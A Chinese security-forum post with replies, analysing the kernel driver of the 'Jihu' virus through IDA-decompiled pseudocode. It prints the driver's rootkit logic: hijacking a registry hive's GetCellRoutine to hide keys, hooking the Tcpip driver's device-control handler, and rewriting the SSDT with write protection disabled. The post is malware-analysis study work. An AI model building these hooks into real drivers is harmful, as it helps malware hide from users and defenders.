首页
社区
课程
招聘
[分享]极虎(虎虎生威)病毒分析之驱动分析
发表于: 2012-3-22 23:46 9689

[分享]极虎(虎虎生威)病毒分析之驱动分析

2012-3-22 23:46
9689

原贴: http://bbs.pediy.com/showthread.php?t=108880
原贴分析得很详细,可是没有分析驱动,我就分析了下。
驱动很小,只有5k。
直接把驱动拉到Ida,看了再说


重点在IRP_MJ_DEVICE_CONTROL_sub_400491
// (IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
void __stdcall IRP_MJ_DEVICE_CONTROL_sub_400491(LSA_UNICODE_STRING *pDeviceObject, const WCHAR *Irp)
{
  int IoControlCode; // [sp+8h] [bp-B4h]@1
  wchar_t SourceString; // [sp+Ch] [bp-B0h]@11
  UNICODE_STRING DestinationString; // [sp+50h] [bp-6Ch]@11
  HANDLE Handle; // [sp+80h] [bp-3Ch]@10
  ULONG Disposition; // [sp+84h] [bp-38h]@10
  int v11; // [sp+8Ch] [bp-30h]@10
  LSA_UNICODE_STRING *v12; // [sp+90h] [bp-2Ch]@10
  LSA_UNICODE_STRING ValueName; // [sp+ACh] [bp-10h]@10
  int Status; // [sp+B4h] [bp-8h]@1
  int pCurrentStackLocation; // [sp+B8h] [bp-4h]@1

  Status = 0;
  pCurrentStackLocation = *((_DWORD *)Irp + 24);
  IoControlCode = *(_DWORD *)(pCurrentStackLocation + 12);
  switch ( IoControlCode )
  {
    case 2236612:
      Status = Hook_Reg_sub_40087C(*((PCWSTR *)Irp + 3));// hook注册表
      break;
    case 2236692:
     Status = Hook_Tcpip_sub_400397(*(_DWORD *)(pCurrentStackLocation + 8), *((const void **)Irp + 3));// HOOK tcp连接
      break;
    case 2236772:
     Restore_RegHook_sub_400978();             // 恢复注册表hook
      Restore_TcpipHook_sub_40046C();           // 恢复tcpip驱动hook

      break;
    case 2236819:                               // 获得函数PsLookupProcessByProcessId的地址
                                                //
                                                // !ustr poi(esp)
      pMmGetSystemRoutineAddress_dword_400FEC = (int (__stdcall *)(_DWORD))**(_DWORD **)(pCurrentStackLocation + 16);
      **((_DWORD **)Irp + 15) = KeServiceDescriptorTable;
      swprintf(&SourceString, L"PsLookup%sBy%sId", L"Process", L"Process");
      RtlInitUnicodeString(&DestinationString, &SourceString);
      pPsLookupProcessByProcessId_dword_401014 = (int (__stdcall *)(_DWORD, _DWORD))pMmGetSystemRoutineAddress_dword_400FEC(&DestinationString);
      break;
    case 2236959:                               // 未执行
      _disable();
      __asm { mov     eax, cr0 }
      _EAX &= 0xFFFEFFFFu;
      __asm { mov     cr0, eax }
      memcpy(KeServiceDescriptorTable, *((const void **)Irp + 15), 4 * (_DWORD)*(&KeServiceDescriptorTable + 2));
      __asm { mov     eax, cr0 }
      _EAX |= 0x10000u;
      __asm { mov     cr0, eax }
      _enable();
      break;
    case 2237028:                               // 未执行
      Status = sub_400C75(*((const void **)Irp + 3));
      break;
    case 2237532:
      v11 = 0;
      Handle = 0;
      Disposition = 0;
      v12 = &ValueName;
      RtlInitUnicodeString(pDeviceObject, Irp);
      return;
  }
  *((_DWORD *)Irp + 6) = 0;
  *((_DWORD *)Irp + 7) = 0;
  IofCompleteRequest((PIRP)Irp, 0);
}

NTSTATUS __stdcall Hook_Reg_sub_40087C(PCWSTR Object)这个函数刚开始看的时候,只知道hook了对象的函数,但是不知道有什么用,后来搜索了下,通过 http://bbs.pediy.com/showthread.php?t=63540  知道是为了隐藏注册表信息。而且ida里的代码跟 http://bbs.pediy.com/showthread.php?t=63540 中的代码是一样的,呵呵,看来病毒作者也是copy的。
// 通过hook来隐藏特定的注册表项
NTSTATUS __stdcall Hook_Reg_sub_40087C(PCWSTR Object)
{
  NTSTATUS result; // eax@4
  NTSTATUS v2; // esi@8
  int pKeyControlBlock; // esi@10
  int pKeyHive; // eax@11
  int pKeyCell; // ST14_4@11
  int (__stdcall *v6)(_DWORD, _DWORD); // ecx@11
  signed int v7; // [sp-4h] [bp-34h]@3
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+8h] [bp-28h]@6
  UNICODE_STRING DestinationString; // [sp+20h] [bp-10h]@6
  int v10; // [sp+28h] [bp-8h]@3
  HANDLE Handle; // [sp+2Ch] [bp-4h]@6

  if ( MinorVersion )
  {
    if ( MinorVersion - 1 > 1 )
      return -1073741823;
    v7 = 16;
    v10 = 20;
  }
  else
  {
    v7 = 12;
    v10 = 16;
  }
  Handle = 0;
  RtlInitUnicodeString(&DestinationString, Object);
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 576;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  result = ZwOpenKey(&Handle, 0x20019u, &ObjectAttributes);
  if ( result >= 0 && Handle )
  {
    v2 = ObReferenceObjectByHandle(Handle, 0x20019u, 0, 0, (PVOID *)&Object, 0);// kd> dt Object _CM_KEY_BODY
                                                // nt!_CM_KEY_BODY
                                                //    +0x000 Type             : 0x6b793032
                                                //    +0x004 KeyControlBlock  : 0xe17d13c8 _CM_KEY_CONTROL_BLOCK
                                                //    +0x008 NotifyBlock      : (null)
                                                //    +0x00c ProcessID        : 0x00000404 Void
                                                //    +0x010 Callers          : 0
                                                //    +0x014 CallerAddress    : [10] (null)
                                                //    +0x03c KeyBodyList      : _LIST_ENTRY [ 0xe17d13f8 - 0xe17d13f8 ]
    if ( v2 >= 0 )
    {
      pKeyControlBlock = *((_DWORD *)Object + 1);
      ObfDereferenceObject((PVOID)Object);
      if ( pKeyControlBlock )                   // kd> dt e17d13c8 _CM_KEY_CONTROL_BLOCK
                                                // nt!_CM_KEY_CONTROL_BLOCK
                                                //    +0x000 RefCount         : 2
                                                //    +0x004 ExtFlags         : 0y00000100 (0x4)
                                                //    +0x004 PrivateAlloc     : 0y1
                                                //    +0x004 Delete           : 0y0
                                                //    +0x004 DelayedCloseIndex : 0y100000000000 (0x800)
                                                //    +0x004 TotalLevels      : 0y0000000110 (0x6)
                                                //    +0x008 KeyHash          : _CM_KEY_HASH
                                                //    +0x008 ConvKey          : 0x45d06ef7
                                                //    +0x00c NextHash         : (null)
                                                //    +0x010 KeyHive          : 0xe1019848 _HHIVE
                                                //    +0x014 KeyCell          : 0xc62d8
                                                //    +0x018 ParentKcb        : 0xe101c5a8 _CM_KEY_CONTROL_BLOCK
                                                //    +0x01c NameBlock        : 0xe14fb838 _CM_NAME_CONTROL_BLOCK
                                                //    +0x020 CachedSecurity   : 0xe12c3008 _CM_KEY_SECURITY_CACHE
                                                //    +0x024 ValueCache       : _CACHED_CHILD_LIST
                                                //    +0x02c IndexHint        : 0xe155d478 _CM_INDEX_HINT_BLOCK
                                                //    +0x02c HashKey          : 0xe155d478
                                                //    +0x02c SubKeyCount      : 0xe155d478
                                                //    +0x030 KeyBodyListHead  : _LIST_ENTRY [ 0xe161225c - 0xe161225c ]
                                                //    +0x030 FreeListEntry    : _LIST_ENTRY [ 0xe161225c - 0xe161225c ]
                                                //    +0x038 KcbLastWriteTime : _LARGE_INTEGER 0x1cd0808`fcdd8930
                                                //    +0x040 KcbMaxNameLen    : 0x14
                                                //    +0x042 KcbMaxValueNameLen : 0x18
                                                //    +0x044 KcbMaxValueDataLen : 0x5a
                                                //    +0x048 KcbUserFlags     : 0y0000
                                                //    +0x048 KcbVirtControlFlags : 0y0000
                                                //    +0x048 KcbDebug         : 0y00000000 (0)
                                                //    +0x048 Flags            : 0y0000000000100000 (0x20)
      {
        pKeyHive = *(_DWORD *)(pKeyControlBlock + v7);// 在xp sp3下v7=16
                                                //
                                                // kd> dt e1019588 _HHIVE
                                                // nt!_HHIVE
                                                //    +0x000 Signature        : 0xbee0bee0
                                                //    +0x004 GetCellRoutine   : 0x8062eec6     _CELL_DATA*  nt!HvpGetCellMapped+0
                                                //    +0x008 ReleaseCellRoutine : 0x8062ee52     void  nt!HvpReleaseCellMapped+0
                                                //    +0x00c Allocate         : 0x806339ba     void*  nt!CmpAllocate+0
                                                //    +0x010 Free             : 0x80633a06     void  nt!CmpFree+0
                                                //    +0x014 FileSetSize      : 0x80633422     unsigned char  nt!CmpFileSetSize+0
                                                //    +0x018 FileWrite        : 0x80633f6a     unsigned char  nt!CmpFileWrite+0
                                                //    +0x01c FileRead         : 0x80633e42     unsigned char  nt!CmpFileRead+0
                                                //    +0x020 FileFlush        : 0x80633d00     unsigned char  nt!CmpFileFlush+0
                                                //    +0x024 BaseBlock        : 0xe101b000 _HBASE_BLOCK
                                                //    +0x028 DirtyVector      : _RTL_BITMAP
                                                //    +0x030 DirtyCount       : 0xb8
                                                //    +0x034 DirtyAlloc       : 0x2a8
                                                //    +0x038 RealWrites       : 0x1 ''
                                                //    +0x03c Cluster          : 1
                                                //    +0x040 Flat             : 0 ''
                                                //    +0x041 ReadOnly         : 0 ''
                                                //    +0x042 Log              : 0x1 ''
                                                //    +0x044 HiveFlags        : 0
                                                //    +0x048 LogSize          : 0x18000
                                                //    +0x04c RefreshCount     : 0
                                                //    +0x050 StorageTypeCount : 2
                                                //    +0x054 Version          : 5
                                                //    +0x058 Storage          : [2] _DUAL
        pKeyCell = *(_DWORD *)(pKeyControlBlock + v10);
        ppGetCellRoutine_dword_400FF8 = pKeyHive + 4;// 保存指向GetCellRoutine函数地址指针的地址
                                                //
                                                // typedef struct _CELL_DATA* (CMAPI *PGET_CELL_ROUTINE)(
                                                //                                                       struct _HHIVE *Hive,
                                                //                                                       HCELL_INDEX Cell);
        v6 = *(int (__stdcall **)(_DWORD, _DWORD))(pKeyHive + 4);
        pHive_dword_400FF0 = pKeyHive;
        pGetCellRoutin_dword_400FF4 = v6;       // 保存GetCellRoutine函数地址
        PCELL_DATA_dword_400FFC = v6(pKeyHive, pKeyCell);// typedef struct _CELL_DATA {
                                                //     union _u {
                                                //         CM_KEY_NODE      KeyNode;
                                                //         CM_KEY_VALUE     KeyValue;
                                                //         CM_KEY_SECURITY  KeySecurity;   
                                                //         CM_KEY_INDEX     KeyIndex;      
                                                //         CM_BIG_DATA      ValueData;      
                                                //         HCELL_INDEX      KeyList[1];     
                                                //         WCHAR            KeyString[1];   
                                                //     } u;
                                                // } CELL_DATA, *PCELL_DATA;
                                                // PCELL_DATA HvpGetCellMapped(IN PVOID Hive,OUT PVOID Cell)
        *(_DWORD *)(pHive_dword_400FF0 + 4) = hook_GetCellRoutine_sub_400837;// 设置Hook的GetCellRoutine函数

      }
      ZwClose(Handle);
      result = 0;
    }
    else
    {
      ZwClose(Handle);
      result = v2;
    }
  }
  return result;
}

Hook Tcpip驱动来过滤数据,可以参考帖子 http://bbs.pediy.com/showthread.php?t=138620
int __userpurge Hook_Tcpip_sub_400397<eax>(size_t a1<ebx>, const void *a2)
{
  PVOID v2; // eax@2
  int result; // eax@3
  __int16 v4; // [sp+8h] [bp-18h]@3
  __int16 v5; // [sp+Ah] [bp-16h]@3
  int v6; // [sp+Ch] [bp-14h]@3
  UNICODE_STRING DestinationString; // [sp+10h] [bp-10h]@2
  int v8; // [sp+18h] [bp-8h]@2
  int v9; // [sp+1Ch] [bp-4h]@2

  if ( pMmGetSystemRoutineAddress_dword_400FEC
    && (RtlInitUnicodeString(&DestinationString, L"IoDriverObjectType"),
        v9 = pMmGetSystemRoutineAddress_dword_400FEC(&DestinationString),
        RtlInitUnicodeString(&DestinationString, L"ObReferenceObjectByName"),
        v8 = pMmGetSystemRoutineAddress_dword_400FEC(&DestinationString),
        v2 = ExAllocatePoolWithTag(NonPagedPoolMustSucceed, a1 + 4, 0x206B6444u),
        (P = v2) != 0) )
  {
    memset(v2, 0, a1 + 4);
    memcpy(P, a2, a1);
    v4 = 26;
    v5 = 28;
    v6 = (int)L"\\Driver\\Tcpip";
   result = ((int (__stdcall *)(__int16 *, signed int, _DWORD, signed int, int, _DWORD, _DWORD, int *))v8)(
               &v4,
               64,
               0,
               2032127,
               v9,
               0,
               0,
               &PDRIVER_OBJECT_Tcpip_dword_400FE0);// 通过名字得到tcpip的驱动对象
                                                // NTKERNELAPI
                                                // NTSTATUS
                                                // ObReferenceObjectByName(
                                                //     IN PUNICODE_STRING ObjectName,
                                                //     IN ULONG Attributes,
                                                //     IN PACCESS_STATE PassedAccessState OPTIONAL,
                                                //     IN ACCESS_MASK DesiredAccess OPTIONAL,
                                                //     IN POBJECT_TYPE ObjectType,
                                                //     IN KPROCESSOR_MODE AccessMode,
                                                //     IN OUT PVOID ParseContext OPTIONAL,
                                                //     OUT PVOID *Object
                                                //     );
    if ( !result )
    {                                           // 保存原来的IRP_MJ_DEVICE_CONTROL的响应函数
      pOld_IRP_MJ_DEVICE_CONTROL_dword_400FDC = *(int (__stdcall **)(_DWORD, _DWORD))(PDRIVER_OBJECT_Tcpip_dword_400FE0
                                                                                    + 116);
      *(_DWORD *)(PDRIVER_OBJECT_Tcpip_dword_400FE0 + 116) = hook_IRP_MJ_DEVICE_CONTROL_sub_4002A0;// 设置Hook函数
    }

  }
  else
  {
    result = -1073741823;
  }
  return result;
}

就这么两个Hook有有营养些。另外的几个函数我下了断点,没有执行。
在此感谢上面提到的帖子的作者,,呵呵。

附件
Forter.zip


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

上传的附件:
收藏
免费 6
支持
分享
最新回复 (5)
雪    币: 47
活跃值: (30)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
最近在弄驱动分析,楼主能分享一下驱动分析的基本手法吗?比如找关键代码什么的。
2012-3-23 00:01
0
雪    币: 585
活跃值: (583)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
3
我觉得就跟ring3下的调试一样,找合适的断点,然后下断点
看看导入函数就能猜到一些,然后去跟下就是了。
2012-3-23 00:42
0
雪    币: 244
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
哇哇哇,不怎么会用 IDA 的飘过,谢谢楼主分享
2012-3-23 01:07
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
5
先回帖,再学习!谢谢楼主的分享!
2012-3-23 10:30
0
雪    币: 862
活跃值: (329)
能力值: ( LV9,RANK:165 )
在线值:
发帖
回帖
粉丝
6
为什么我的样本它的驱动丢进ida是一片红呢…很多都是硬编码的地址…
2012-4-28 17:52
0
游客
登录 | 注册 方可回帖
返回